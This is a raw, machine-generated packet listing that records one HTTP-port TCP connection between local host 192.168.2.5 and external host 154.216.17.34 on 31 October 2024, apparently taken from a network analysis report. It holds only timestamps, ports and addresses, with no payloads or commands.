Oct 31, 2024 02:09:15.371737003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371748924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371761084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371797085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371820927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371822119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371834993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371845961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.371880054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.371912003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.393646955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.393676043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.393688917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.393701077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.393749952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.393785954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.405528069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405550003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405564070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405606031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405621052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405630112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.405678988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.405791998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405805111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405817032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405831099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405846119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405857086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.405874968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.405896902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.405915976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.405957937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.406023026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.406042099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.406058073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.406069994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.406071901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.406086922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.406089067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.406100988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.406122923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.406125069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.406156063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.406177998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.417083979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.417100906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.417113066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.417170048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.417202950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.417469025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.417495966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.417509079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.417557001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.417583942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.417598009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.417612076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.417629004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.417659998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.420634031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.420667887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.420681000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.420722008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.420726061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.420737982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.420748949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.420753002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.420789957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.420855999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.420869112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.420881987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.420907974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.420917034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421000004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421013117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421024084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421049118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421070099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421180964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421236038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421250105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421262980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421272039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421279907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421292067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421304941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421317101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421325922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421335936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421336889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421344995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421363115 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421375990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421382904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421437025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421462059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421520948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421561956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421587944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421601057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421621084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421627998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421634912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421639919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421648026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421673059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421691895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421735048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421753883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421796083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421888113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421906948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421920061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421938896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421955109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.421969891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421969891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.421993017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422000885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422005892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422019958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422034025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422049046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422054052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422075033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422106981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422264099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422277927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422291040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422313929 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422353029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422367096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422379971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422382116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422401905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422444105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422624111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422640085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422653913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422700882 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422700882 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422713995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422729969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422743082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422756910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422772884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422781944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422794104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422806025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422808886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422822952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422827005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422862053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422863960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422883987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422894001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422899008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422920942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422935009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422941923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422955990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422964096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.422970057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.422982931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423000097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.423015118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423028946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423036098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.423042059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423059940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.423100948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.423105001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423118114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423131943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423157930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423162937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.423171997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423183918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423193932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.423198938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423219919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423230886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.423233032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.423261881 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.423280001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.458287954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458317041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458342075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458355904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458367109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458379984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458394051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458405972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458415031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.458419085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458472967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.458513021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458539009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458554029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458566904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458580017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458591938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.458606958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.458623886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.458637953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458652020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458662987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458690882 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.458717108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.458971024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458986044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.458998919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.459012032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.459024906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.459033966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.459038973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.459067106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.459089041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.459171057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.459186077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.459197998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.459216118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.459239006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473340988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473361969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473377943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473408937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473428965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473444939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473448038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473463058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473490953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473509073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473520994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473532915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473555088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473572016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473577023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473591089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473603010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473603964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473618031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473640919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473670959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473705053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473718882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473732948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473748922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473766088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473783970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473787069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473797083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473810911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473824978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473839998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.473841906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473860979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.473887920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474008083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474035025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474049091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474087954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474100113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474109888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474112034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474126101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474147081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474175930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474204063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474217892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474231958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474246025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474258900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474278927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474311113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474317074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474342108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474353075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474359989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474386930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474394083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474405050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474431992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474525928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474551916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474565983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474575043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474587917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474602938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474611044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474612951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474612951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474658966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474689007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474699974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474740982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474776030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474790096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474818945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474828005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474842072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474852085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474854946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474873066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474888086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474893093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474920988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474924088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474935055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.474972963 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.474983931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.475004911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.475018978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.475028038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.475040913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.475059986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.475060940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.475074053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.475089073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.475096941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.475102901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.475131035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.475157976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485541105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485569954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485584974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485598087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485618114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485630989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485644102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485651016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485656023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485676050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485690117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485692024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485702991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485712051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485716105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485744953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485757113 CET	80	49982	154.216.17.34	192.168.2.5
